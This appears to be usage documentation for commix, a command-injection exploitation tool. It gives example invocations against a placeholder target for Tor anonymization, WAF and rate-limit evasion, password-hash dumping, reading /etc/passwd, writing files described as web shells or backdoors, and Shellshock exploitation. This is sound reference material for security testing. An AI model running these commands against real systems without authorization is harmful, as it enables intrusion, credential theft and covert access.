python commix.py --url="http://www.target.com/vuln.php?addr=1" --proxy="http://127.0.0.1:8080"Switch: --tor
This option enables commix to route its HTTP requests through the Tor network, effectively concealing your real IP address and enhancing privacy during exploitation or testing. By anonymizing your traffic, it helps protect your identity and reduces the risk of detection or tracking by target systems.
Note
- This option requires Tor service to be running.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tor Option: --tor-port=TOR_PORT
This option allows you to override the default port used for Tor connections. It is particularly useful when your Tor service is configured to listen on a non-standard or custom port, ensuring that commix can correctly connect and route traffic through the Tor network without connectivity issues.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tor --tor-port=9050Option: --tor-type=TYPE
This option says what kind of proxy the local Tor service is reached through: HTTP, SOCKS4 or SOCKS5.
Note
- Tor's own default is SOCKS5 on port 9050, which is what commix uses unless told otherwise.
- A type given here settles how
--tor-portis understood, so the two are usually given together.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tor --tor-type=SOCKS5Switch: --check-tor
This switch asks a Tor-aware page whether the request arrived over the Tor network, and ends the run if it did not. Given without --tor, it answers the same question about whatever proxy is in use.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tor --check-torOption: --auth-url=AUTH_URL
Specify the full URL of the login page to enable automated authentication before the exploitation process begins. This feature allows commix to handle authenticated sessions by automatically submitting the necessary login credentials, simulating a real user login. Upon successful authentication, commix captures and stores the relevant session data - such as access tokens, session cookies, or headers - which it then reuses throughout the scan to maintain an authenticated context. This option is particularly useful for targeting applications that restrict access to injection points behind a login wall.
Note
- Use this in combination with
--auth-data, to fully configure the login process.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--auth-data="user=admin&pass=1234" \
--auth-url="http://www.target.com/login.php"Option: --auth-data=AUTH_DATA
This option specifies the authentication data to submit during the login process when interacting with targets that require user authentication. It typically consists of URL-encoded key-value pairs - such as a username and password - that are submitted as part of a POST request to the login form. This is essential for testing authenticated areas of an application, where session-based access is required to reach potential injection points.
Note
- Combine with
--auth-urlto specify the login form’s URL. - Use
--cookieto manually manage session persistence, if needed. - Some forms may use hidden tokens or CSRF protection; consider scripting or manual login capture if necessary.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--auth-data="user=admin&pass=1234" \
--auth-url="http://www.target.com/login.php"Option: --auth-type=AUTH_TYPE
Specify the HTTP authentication scheme to use when accessing the target application. This option allows commix to handle protected resources that require HTTP-level authentication by automatically including the appropriate Authorization headers in each request. It is essential for exploiting targets that enforce access control via HTTP auth mechanisms.
Αuthentication types:
-
Basic: Sends credentials encoded inBase64within theAuthorizationheader. -
Digest: Uses a challenge-response mechanism for improved security overBasic. -
Bearer: Sends a token (such as aJWT) in theAuthorizationheader for token-based authentication.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--auth-type="basic" \
--auth-cred="username:password"Option: --auth-cred=AUTH_CREDENTIALS
This option allows you to supply credentials for HTTP authentication in the format username:password. These credentials are used to authenticate against web servers that protect resources using supported HTTP authentication schemes such as Basic or Digest authentication. This is particularly useful when testing applications or endpoints that require access control at the HTTP level (e.g., .htaccess-protected directories).
Note
- Use quotes if your password includes special characters.
- Avoid using this option on shared systems or leaving it in shell history; use tools like
history -dto remove sensitive entries.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --auth-cred="admin:password"Option: --abort-code=ABORT_CODES
This option specifies a comma-separated list of HTTP status codes that, if encountered during the scanning or exploitation process, will cause commix to immediately terminate execution. It is useful for preventing further interaction with the target when specific server-side errors, redirects, or access denials are encountered.
Note
- By configuring this option, users can avoid triggering rate-limiting mechanisms, intrusion detection systems, or simply halt the scan upon detecting conditions that indicate failure or unintended behavior.
- Use this option proactively when testing production environments or sensitive systems.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --abort-code="401,403"Option: --ignore-code=IGNORE_CODES
This option specifies a comma-separated list of HTTP status codes that commix should treat as non-fatal during scanning. When any of the specified status codes are encountered in server responses, commix will not interpret them as errors and will continue scanning normally. This is particularly useful when targeting applications that return unconventional status codes (e.g., 404 or 403) as part of their normal behavior - even when injection points are accessible.
It can be useful for:
- Bypassing soft-blocking or decoy responses.
- Testing applications with custom error-handling logic.
- Handling scenarios where valid responses are misrepresented by unusual status codes.
Only the codes given here are ignored. A code met during the scan is reported once, so the same warning is not repeated for every request, but it is not added to this list: an error seen in passing does not become one commix was asked to overlook.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-code="404,403"Switch: --force-ssl
This option forces commix to use HTTPS for all requests, regardless of whether the provided target URL begins with http://. When enabled, commix will automatically upgrade all connections to use SSL/TLS, ensuring that communication with the target server is encrypted.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --force-sslSwitch: --chunked
This option sends the POST data as an HTTP chunked transfer encoded body, splitting it into small chunks of random size, each carrying a random chunk extension. The chunks are chosen so that no single one of them holds a whole command or shell operator, and the request carries no Content-Length header.
Because the target puts the chunks back together before the application ever sees them, the data that reaches it is exactly what would have been sent otherwise. Only the way it travels changes, which makes this useful against a filter that inspects the body as one piece, or that skips a body whose length it was not told in advance.
Note
- This option requires POST data, provided with
--dataor through a request file. - Persistent (Keep-Alive) connections are turned off while it is used, as they cannot carry a chunked body.
python commix.py --url="http://www.target.com/vuln.php" --data="addr=1" --chunkedOption: --proxy-file=FILE
This option reads a list of proxies, one per line, and sends the run's requests through them instead of through a single proxy. Each line takes the same form as --proxy accepts, credentials included.
Note
- How often the proxy changes is set with
--proxy-freq. - A proxy that cannot be reached is dropped from the list for the rest of the run.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --proxy-file="/tmp/proxies.txt"Option: --proxy-freq=NUM
This option sets how many requests are sent through one proxy from the list given with --proxy-file before the next one is used.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --proxy-file="/tmp/proxies.txt" --proxy-freq=10Option: --proxy-cred=NAME:PASSWORD
This option gives the credentials a proxy asks for, for a proxy named with --proxy that carries none of its own.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --proxy="http://127.0.0.1:8080" --proxy-cred="admin:password"Switch: --ignore-proxy
This option ignores any system or environment proxy settings and connects directly to the target server. It ensures that commix bypasses all configured proxies, establishing a direct network connection.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-proxySwitch: --ignore-redirects
This option disables automatic following of HTTP redirects during the scanning process. When enabled, commix will stop after receiving redirect responses (such as HTTP 3xx status codes) instead of automatically following the Location header to the next URL.
Note
- By default, commix follows redirects to ensure seamless scanning through multi-step workflows.
- Use this option to gain finer control over response analysis and scanning logic.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-redirectsSwitch: --ignore-timeouts
A request that does not answer in time ordinarily counts against the run and, often enough, ends it. This switch skips such a request instead and carries on, which suits a target that answers slowly or unevenly rather than one that is unreachable.
Note
- How many requests were dropped this way is said once, at the end of the run.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-timeoutsOption: --randomize=PARAMS
This option gives a fresh random value to the named parameters on every request, which is what a target expects of an identifier, a nonce or a counter it will not accept twice. The value keeps the shape of the one it replaces: a number stays a number of the same length, a word stays a word.
Important
- A randomized parameter is never itself tested, since a payload placed in it would be rewritten by the next request.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --randomize="req_id"Option: --retry-on=REGEXP
This option names what an unusable answer looks like, as a regular expression. A response matching it is not read as a result: the request is sent again, up to the number of retries the run allows.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --retry-on="try again later"Option: --safe-url=URL
A target that logs out, locks an account or expires a token after so many odd-looking requests sees an ordinary one in between them when this option is given. The URL named here is visited every so many requests, and nothing is read from it.
Note
- How often it is visited is set with
--safe-freq. - Where the safe request needs a body, use
--safe-post; where it needs more than that,--safe-req.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --safe-url="http://www.target.com/index.php" --safe-freq=5Option: --safe-post=DATA
This option gives the body sent to the URL named with --safe-url, for a page that keeps a session alive only when it is posted to.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --safe-url="http://www.target.com/login.php" --safe-post="user=admin&pass=admin" --safe-freq=5Option: --safe-req=FILE
This option does what --safe-url does, for a safe request that cannot be written as a URL and a body alone. The file holds a raw HTTP request of the kind a proxy writes out.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --safe-req="/tmp/safe.txt" --safe-freq=5Option: --safe-freq=NUM
This option sets how many of the run's own requests are sent between visits to the safe URL.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --safe-url="http://www.target.com/index.php" --safe-freq=5Option: --csrf-token=PARAM
A target that checks an anti-CSRF token rejects every payload before it reaches a shell, and the rejection looks exactly like a parameter that is not injectable. This option names the parameter the token travels in: the token is fetched again before each request and written into the one about to be sent, wherever that parameter lives - the query string, the body, a header of its own, or the cookie.
Note
- Where the option is not given, a parameter whose name looks like a token's is noticed and offered.
- The page the token is read from is the target itself unless
--csrf-urlsays otherwise.
python commix.py --url="http://www.target.com/vuln.php" --data="addr=1&user_token=aaaa" --csrf-token="user_token"Option: --csrf-url=URL
This option names the page visited to pick up a fresh anti-CSRF token, for a target that hands it out somewhere other than the page under test.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --csrf-token="user_token" --csrf-url="http://www.target.com/token.php"Option: --csrf-method=METHOD
This option sets the HTTP method used when visiting the page named with --csrf-url, for a token that is handed out only in answer to something other than a GET.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --csrf-token="user_token" --csrf-url="http://www.target.com/token.php" --csrf-method=POSTOption: --csrf-data=DATA
This option gives the body sent to the page named with --csrf-url, for a token handed out only when something is posted to it.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --csrf-token="user_token" --csrf-url="http://www.target.com/token.php" --csrf-method=POST --csrf-data="fetch=1"Option: --csrf-retries=NUM
This option sets how many times the token page is asked again when no token can be found on it. The default is 0, which asks once.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --csrf-token="user_token" --csrf-retries=3Switch: --skip-urlencode
Payload data is percent-encoded before it is sent, so that the characters a shell needs survive the carrier they travel in. This switch sends it as it stands, which suits a target that reads the value without decoding it first.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-urlencodeSwitch: --skip-xmlencode
Payload data placed in a SOAP or XML body is encoded for the document, so that a character the payload needs does not end the element it sits in. This switch sends it as it stands, for a target that reads the body as text rather than as a document.
python commix.py --url="http://www.target.com/vuln.php" --data="<?xml version=\"1.0\"?><root><addr>1</addr></root>" --skip-xmlencodeOption: --timeout=SECONDS
This option sets the maximum time in seconds, that commix will wait for a response from the server before timing out. By default, the timeout is set to 30 seconds. Setting this appropriately ensures commix does not hang indefinitely or abort too early due to minor delays in the server response.
It can be useful when dealing with:
- Slow or high-latency servers: Increase the timeout to prevent premature connection termination.
- Unresponsive or rate-limited targets: Fine-tune the timeout to balance scan reliability and speed.
- Burp Suite or proxy delays: Accommodate additional processing time when routing through intercepting proxies.
Note
- Short timeouts may cause false negatives on slow or heavily loaded servers. Adjust accordingly.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --timeout=10Option: --retries=NUM
This option sets the maximum number of times commix will retry a failed connection attempt (default is 3). Each retry is triggered only after a connection failure, not on normal timeouts. This feature helps improve scan resilience without restarting the entire process.
It can be useful with:
- Intermittent connectivity.
- Unstable or rate-limited web servers.
- Proxies that occasionally drop connections.
Where several targets are being tested at once, with -m, -l or piped stdin, a target that does not answer is tried once rather than three times, so that one unreachable host does not hold up the others. Providing this option keeps the number given here for every target.
Note
- Use in combination with
--timeoutto fine-tune network robustness. - Higher retry counts increase reliability but may slow down scanning on consistently failing hosts.
- Setting
--retries=0disables retrying entirely, which is useful for quick scans against stable targets.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --retries=5Option: --delay=SECONDS
This option adds a specified delay in seconds, between each HTTP request sent during the scanning process. Introducing this delay slows down the testing pace, helping to reduce the risk of triggering rate-limiting mechanisms, Web Application Firewalls (WAFs), or other security mechanisms. By pacing requests more discreetly, this option helps evade automated defenses and makes the scan less likely to be detected or blocked.
A delay set here is the pace the scan starts at, not the only one it keeps to. Where the target begins answering as though it has had enough - 429 Too Many Requests and the other codes sent when a request is turned away - commix waits longer of its own accord, doubling what it waits up to eight seconds and saying so each time. Once the target answers normally again, the added wait is given back a second at a time, so a scan that provoked one burst does not stay slow for the rest of its run. This matters where a rate limit would otherwise be met with a parameter reported as not injectable, when the requests were simply being turned away.
Note
- Increasing delay improves stealth but prolongs scan duration.
- Use a delay suitable to the target’s security posture and response times.
- The added wait stops changing once a time-related technique needs it, since those techniques measure the very delay it would alter.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --delay=2 Option: --jitter=SECONDS
This option adds a different fraction of a second to every delay set with --delay, so that the requests do not arrive at an even, machine-like pace.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --delay=1 --jitter=0.5Switch: --drop-set-cookie
This option tells commix to ignore all Set-Cookie headers sent by the server in HTTP responses. This is particularly useful when testing applications that issue new or modified cookies per request or when attempting to replay consistent behavior in session-dependent workflows. By doing so, it prevents automatic updates to the current session’s cookies.
It can be useful for:
- Maintaining a stable session throughout the scan
- Preventing forced logouts or user role changes triggered by cookie rotation
- Bypassing anti-bot protections that rely on dynamic session identifiers
Note
- Combine with manually specified cookies (
--cookie) for fixed-session testing. - Disabling cookie updates can reduce server-side anomalies during injection testing.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --drop-set-cookieEnumeration options are used to collect detailed information about the target system’s operating system and environment after successfully exploiting a command injection vulnerability.
Switch: --all
Retrieve all possible information from the target, including users, privileges, hostname, operating system, and more. This option runs multiple enumeration checks to provide a comprehensive overview of the compromised system.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --all Switch: --current-user
This option retrieves all possible information from the target, including users, privileges, hostname, operating system, and more. It performs multiple enumeration checks to provide a comprehensive overview of the compromised system, aiding in thorough post-exploitation analysis.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --current-userSwitch: --hostname
This option retrieves the hostname of the target system to identify the machine within a network environment or domain. It helps in mapping the target’s network context and understanding its role or location.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --hostnameSwitch: --is-root
This option checks if the current user has root privileges on Unix/Linux systems, which indicates full system control.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --is-rootSwitch: --is-admin
This option checks if the current user has administrative privileges on Windows systems, important for privilege escalation assessment.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --is-admin Switch: --sys-info
This option retrieves detailed system information such as operating system version, kernel details, environment variables, and system architecture.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --sys-infoSwitch: --users
This option retrieves a list of user accounts configured on the target system, useful for further enumeration or password attacks.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --users Switch: --passwords
This option attempts to retrieve password hashes from the target system for offline cracking or analysis.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --passwords Switch: --privileges
This option retrieves detailed privilege information of the current user or other users on the target system.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --privileges Switch: --ps-version
This option retrieves the installed PowerShell version on Windows targets, which helps in selecting compatible post-exploitation modules or scripts.
Note
- If the version cannot be read back, commix reports that it failed to identify it and asks whether to continue, rather than reporting an empty version. Payloads that rely on PowerShell are likely to fail against that target.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ps-version Option: --file-read=FILE
This option allows you to retrieve and read files from the target system, which can be invaluable for extracting sensitive information such as configuration files, password lists, logs, or other critical data during an assessment.
Note
- Ensure you have explicit permission and legal authorization before accessing or reading any files on a target system.
- Unauthorized file access is illegal and may lead to severe legal consequences.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --file-read="/etc/passwd" Option: --file-write=FILE
This option enables you to remotely create or overwrite files on the target system. It is particularly useful for placing web shells, backdoors, or other malicious payloads when the target environment allows writing to the filesystem.
Note
- Ensure the target directory is writable; otherwise, the operation will fail.
- Use responsibly and only with explicit authorization to avoid legal issues.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--file-write="local.txt" \
--file-dest="/tmp/remote.txt"Option: --file-dest=FILE
This option works in combination with --file-write to specify the exact destination path on the target system where files should be created or overwritten. It allows precise control over the location of file operations, ensuring payloads or scripts are placed in the desired directory for successful execution or persistence.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--file-write="local.txt" \
--file-dest="/tmp/local.txt"A module is a self-contained check for a vulnerability class that does not fit the normal
parameter-injection model - usually because the injection point is not a parameter at all. A module
has its own switch, runs in place of the standard detection flow, and is not selectable through
--technique. See Module development for the anatomy of one.
Switch: --shellshock
This option enables Shellshock (CVE-2014-6271 and related CVEs) testing module to identify vulnerabilities in CGI scripts that rely on the Bash shell. The Shellshock bug allows attackers to achieve unauthenticated remote code execution by injecting malicious payloads into specially crafted environment variables - commonly set via HTTP headers such as User-Agent, Referer, Cookie, or custom headers. When Bash processes these variables, it may incorrectly evaluate appended function definitions followed by arbitrary commands. This flaw is particularly critical in web server environments that expose Bash through CGI interfaces, enabling attackers to execute system-level commands remotely. Successful exploitation can result in full system compromise, data exfiltration, privilege escalation, or lateral movement across the network.
What the module does:
- Injects through the
Cookie,User-AgentandRefererheaders, testing each with two payload shapes -CVE-2014-6271andCVE-2014-6278- because a target patched against the first is not always patched against the second. - Restricts testing to a single header when
-pnames one, so a known-good vector can be retested without walking the rest. - Supports the out-of-band channel. With
--oob, execution is proven and commands are run through an OAST interaction rather than the HTTP response, which reaches targets whose CGI output is discarded or never rendered. - Once an injection point is confirmed, the enumeration options, the file access options and
--os-shellall work against it exactly as they do for the standard techniques. - Confirmed injection points are stored in the session, so a resumed run reports them immediately instead of retesting every header and CVE combination.
Note
- Want to build your own module like this? Check out the Module Development Guide for a full walkthrough on writing and integrating custom commix modules.
python commix.py --url="http://www.target.com/cgi-bin/status/" --shellshock Proving execution out-of-band, where the CGI response carries nothing back:
python commix.py --url="http://www.target.com/cgi-bin/status/" --shellshock --oobOptimization options can be used to optimize the performance of the command injection process.
Switch: -o
This switch turns on every optimization switch at once, trading a little accuracy for speed. It is a shortcut for users who want the fastest possible run without setting each optimization individually.
python commix.py --url="http://www.target.com/vuln.php?addr=1" -oSwitch: --no-keep-alive
Persistent (Keep-Alive) connections are used by default, since reusing a single connection across requests removes a TCP and TLS handshake from every one of them. This switch opts out and closes the connection after each request.
Note
- Persistent connections are disabled automatically when they cannot be used, for example with
--http1.0, a proxy, or digest authentication.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --no-keep-aliveOption: --threads=THREADS
This option specifies the maximum number of concurrent HTTP(S) requests (default is 1, maximum 10). It can improve performance during time-related data retrieval by resolving several output positions in parallel.
Note
- Each position is still resolved serially, so raising this value increases the number of positions worked on at once, not the requests spent per position.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --threads=10Injection options control how commix crafts and delivers payloads to exploit command injection vulnerabilities. They include techniques for encoding payloads, using tampering scripts, selecting injection methods, and evading Web Application Firewalls (WAFs) or other filtering mechanisms. These options help customize and optimize the command injection process for higher success rates and stealth.
Option: -p PARAMETER
This option allows you to limit the scanning and testing process to specific input parameters instead of scanning all parameters indiscriminately. By targeting only selected parameters, you can significantly reduce the scope of testing, save time, and minimize unnecessary noise in the results.
Some parameters are left alone unless they are named here, because testing them says nothing about the application and usually costs the session: those holding an anti-CSRF token (csrf, xsrf, token or nonce in the name), those holding session or framework state (PHPSESSID, JSESSIONID, ASP.NET_SessionId, __VIEWSTATE, __EVENTVALIDATION and the like), and the cookies set by Google Analytics (_ga, _gid, _gat, _gcl_au, __utm*). Naming one of them here tests it anyway - the parameters skipped are only the ones nobody asked for.
Note
- Multiple parameters can be specified as a comma-separated list.
- Use this option to improve the precision and safety of your tests
- Naming a standard HTTP header here tests that header even below the
--levelit would normally require. Each one answers to several spellings:ua,useragentoruser-agentfor theUser-Agentheader,ref,refererorreferrerforReferer, andhostforHost.
python commix.py --url="http://www.target.com/vuln.php" --data="id=2&addr=1&test=3" -p addr Option: --skip=PARAMS
This option allows you to exclude specific parameters from the scanning and testing process. By skipping known safe or irrelevant parameters, you can focus the assessment on inputs that are more likely to be vulnerable, thereby improving scan efficiency and reducing noise in the results.
Note
- A standard HTTP header can be skipped by name here too, under any of the spellings listed for
-pabove.
python commix.py --url="http://www.target.com/vuln.php?addr=1" \
--data="id=2&addr=1&test=3" \
--skip="test"Option: --param-exclude=REGEXP
This option leaves alone every parameter whose name matches the regular expression given, which is how a session identifier, a signature or anything else a payload would only invalidate is kept out of the run.
Note
- The expression is matched against the parameter's name and against the place it travels in, so either can be named.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --param-exclude="ses|token"Option: --param-filter=PLACE
This option tests only the parameters travelling in the places named - GET, POST, COOKIE or a header - and says nothing about the rest.
python commix.py --url="http://www.target.com/vuln.php" --data="addr=1" --param-filter="POST"Option: --suffix=SUFFIX
This option appends a custom string or character sequence to every injection payload sent during testing. Appending such suffixes can help bypass input validation filters, fix syntax errors, or tailor payloads to the target’s specific parsing behavior. This technique is especially useful when the injection context requires closing quotes, comments, or other delimiters to maintain valid syntax and increase exploitation success.
Note
- Combine with other options like
--prefixor--tamperfor complex payload customization. - Experiment with different suffixes depending on the target’s input parsing and filter behavior.
- The string is added exactly once to each payload, and is applied whether or not
--prefixis given as well.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --suffix="'"Option: --prefix=PREFIX
This option prepends a custom string or character sequence to every injection payload sent during testing. Prepending prefixes can help bypass input validation filters, fix syntax errors, or adjust the payload to fit the target’s parsing context. It is particularly useful when the injection point expects certain opening characters - such as quotes, parentheses, or comment tokens - to form valid or exploitable input.
Note
- Combine with other options like
--suffixor--tamperfor complex payload customization. - Experiment with different suffixes depending on the target’s input parsing and filter behavior.
- The string is added exactly once to each payload, even when the injection boundary being tested already contains it.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --prefix="'"Option: --tamper=TAMPER
This option applies one or more tamper scripts to the injection payloads, to get past Web Application Firewalls, filters, or input validation. Several scripts can be combined by separating their names with commas, and they are applied in a fixed order regardless of how they are listed. Use --list-tampers to see what is available.
Note
- Combinations that would corrupt each other's output are rejected up front, with a message naming both scripts.
- Single-quoted parts of a payload and shell keywords are left untouched, since rewriting either would stop the payload from running.
- Providing this option also settles the matter when a WAF/IPS is detected: commix keeps to the scripts given here, rather than choosing any of its own.
- A whitespace character picked by a script (e.g.
${IFS}) suits the operating system it was picked for, so with multiple targets the choice is made again for each one.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tamper="space2ifs,randomcase"Option: --technique=TECH
By default, commix tests all available command injection techniques to maximize the chances of detection. This option allows you to specify one or more particular injection techniques to use during the scan, tailoring the testing process to the target’s environment, defenses, or your preferred strategy. Selecting specific techniques can optimize scan speed and reduce noise when you have prior knowledge about the target’s behavior.
The letters below name the technique - how execution is proven. What is being injected into is chosen separately: command injection by default, or code injection with --eval. The two combine, so --eval --technique="r" looks for code injection and proves it results-based.
A technique is named for how its result comes back; what it reached is the injection type, reported alongside it and selectable on its own with --type.
Τechniques:
-
(R)esults-based: The output of an injected command is reflected directly in the server’s HTTP response, and read back from it. It is reported as aclassicinjection type. It is the most straightforward injection method, allowing immediate verification of successful command execution by analyzing the HTTP response content. For example, injectingidand observing the user and group information directly in the response body. This technique is highly effective when the vulnerable application does not sanitize or suppress command output in its responses. -
(T)ime-based: This technique does not rely on visible output; instead, it exploits blind injection by conditionally delaying the server's response. Payloads typically use commands (likesleeportimeout) to introduce measurable delays when specific conditions are met. By observing variations in response times, attackers can infer system behavior, evaluate boolean conditions, or extract data one bit at a time. Although inherently slower due to its indirect feedback mechanism, this approach is highly effective in restrictive environments where standard output channels are filtered, suppressed, or entirely unavailable. -
(F)ile-based: Thisblindinjection technique writes the output of executed commands to a file on the server's filesystem, which is then read back to confirm successful execution. It requires either knowledge or educated guessing of a writable path on the server. When the file can be placed under the web server's document root, it is retrieved over HTTP. When this is not possible - due to file system restrictions, permission issues, or unknown writable locations - the payload falls back to a temporary directory (e.g.,/tmp,/var/tmp, orC:\Windows\Temp) and the output is recovered through response delays instead. Both cases are reported asFile-based; where the output file lives is a mechanism of the technique, not a technique of its own. It is particularly useful when direct command output is suppressed but file I/O is allowed.
Note
- You can specify one or multiple techniques (e.g.,
--technique="rt"), with or without separating commas, in any case. -
EandOare not among them: code injection is asked for with--evaland the out-of-band channel with--oob, each of which combines with any technique. -
Cnamed the first of them before it was renamed after how its result comes back, and is still read asR. - Combining techniques allows for a more comprehensive and flexible injection testing strategy.
- For comprehensive details on each technique, including usage examples and requirements, refer to the Techniques wiki.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --technique="rtf"Option: --type=TYPE
Where --technique names how a result comes back, this option names what the result is - the injection type a finding is reported as - and runs every technique that reports it. It is the shorter way to ask for a whole class of technique when the distinction that matters is whether output is visible at all.
Τypes:
-
(C)lassic: the injected command's output reaches the HTTP response, so it is read straight out of it. Reported as aclassicinjection type, and reached by the results-based technique alone. -
(B)lind: no output reaches the response, so execution is proven by what the target does instead of by what it says - a delay, or a file written and read back. Reported as ablindinjection type, and reached by the time-based and file-based techniques.
Note
- You can specify one or both types (e.g.,
--type="cb"), with or without separating commas, in any case. - This option and
--techniquecannot be used together - either name the techniques or name the type they report. -
--type="c"is the same as--technique="r", and--type="b"the same as--technique="tf".
python commix.py --url="http://www.target.com/vuln.php?addr=1" --type="b"Option: --eval[=LANG]
commix tests for command injection by default. This switch points the same techniques at code the application evaluates at runtime instead, through eval() or a function like it (e.g. assert(), or preg_replace() with the /e modifier in PHP). What is injected changes; how execution is proven does not, so this combines with --technique.
Given on its own it covers every language that is supported - currently php and python. Naming one (e.g. --eval="php") limits it to that language; short names are accepted, so --eval="py" and --eval="python" are the same, as they are for --interpreter.
Note
- Every technique reaches the code injection sink, so
--evalon its own tests all of them - results-based and blind code injection - and the out-of-band technique carries whichever sink it is given. - Naming none probes each supported language in turn, stopping at the first that answers, because nothing the target says identifies which language is evaluating the string. Where the heuristic recognises one, the techniques that follow speak that one rather than searching again - so the cost of the sweep is paid once, in the heuristic, and not again per technique.
- When the heuristic test sees a parameter reaching such a function and this switch was not given, commix says so and asks whether to test for it; answering no carries on with the command injection tests.
-
--technique="e"selected this before the switch existed; it is no longer accepted, and this switch replaces it. - Some tamper scripts apply to an evaluation sink alone, rewriting the function a payload calls rather than the command it runs -
phphexnameandphpconcatforPHP,pyhexnameforPython. They are skipped where the sink is a shell.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --evalOption: --skip-technique=TECH
This option allows you to exclude specific command injection techniques from the scanning process. By skipping techniques that are known to cause false positives, instability, or undesired side effects on the target system, you can make your testing more precise, efficient, and safer.
Note
- You can skip one or multiple techniques (e.g.,
--skip-technique="tf").
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-technique="tf"Option: --maxlen=MAXLEN
This option defines the maximum length of output data to be retrieved during time-based delay injection techniques. By limiting the size of extracted data (default is 10000 characters), it helps prevent excessively long response times that could slow down the scan or cause timeouts. Using this option ensures more efficient scanning by balancing thoroughness with practical time constraints, especially when extracting large amounts of data via timing delay injection methods.
Note
- Decreasing this value can speed up scans but may truncate output.
- Increasing it may slow the scan and risk longer delays on slow or unstable targets.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --maxlen=500 Option: --time-sec=SECONDS
This option specifies the time delay used in timing delay injection payloads to measure response time differences. It defines the duration the target server is instructed to pause, enabling accurate detection of timing delay vulnerabilities.
Important
The option applies only to the time-related techniques - time-based and tempfile-based - because those are the two that infer the answer from how long the response takes. It has no effect on the results-based, file-based or out-of-band techniques, which read the output instead of timing it, so setting it while running only those changes nothing.
Note
- The default is
0, which means the delay is derived from the target rather than fixed: it is raised to a minimum safe delay based on the target's own measured response time, and auto-increased further if the responses turn out to be inconsistent. - A value you set is treated as a floor, not an override. If it is below the minimum safe delay, the safe delay is used instead and a
debugline reports the value actually in force. - Before the first timing comparison, a baseline of clean response times is sampled so that a delay is judged against the target's normal latency rather than a fixed threshold.
- The payloads count the delay in whole seconds, so a fractional value (e.g.
2.5) is rounded and the value actually used is reported.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --time-sec=5Option: --tmp-path=PATH
This option sets the absolute path to the temporary directory on the web server, used for file upload or write operations. It ensures that commix can correctly locate a writable directory for storing files during exploitation attempts.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --tmp-path="/tmp"Option: --web-root=PATH
This option defines the web server's document root directory to assist with file write or upload operations. It helps commix accurately place files within the web-accessible directory structure during exploitation.
Note
- Given nothing, commix starts from the document root the recognised web server keeps by default -
Apache,nginx,Microsoft-IIS,Tomcat,Jetty,Caddy,LiteSpeed,openrestyandlighttpdare each known by the one they use, on the operating system that was identified. Name this option where the target keeps its own somewhere else. - A stored finding names the document root it was found with, and that path is written into the
payload itself. Resuming it with a different
--web-roottherefore cannot honour the new one: commix says which root the stored finding uses and replays it with that, rather than leaving the value given now to look as though it were in use. Use--flush-sessionto test the new one. The same holds for--tmp-path,--interpreterand--time-sec, which a stored payload is built around in the same way.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --web-root="/var/www/html"Option: --interpreter=INTERPRETER
This option builds both detection and exploitation payloads with an alternative interpreter instead of native OS shell syntax. This is particularly useful when the default system shell is restricted or unavailable. Currently, commix supports Python, named either way round - --interpreter="py" and --interpreter="python" are the same, as they are for --eval. By leveraging the Python interpreter, which is commonly present on many systems, commix can bypass certain command execution limitations imposed by security controls or system configurations.
Note
- Before using this option, ensure that the target system has
Pythoninstalled and accessible. - The alternative interpreter paths are experimental and are not supported by every technique.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --interpreter="python"Option: --os-cmd=COMMAND
This option instructs commix to execute a single operating system command on the target if a command injection vulnerability is confirmed. Rather than launching an interactive shell, it performs one-off command execution and displays the command output directly in the console.
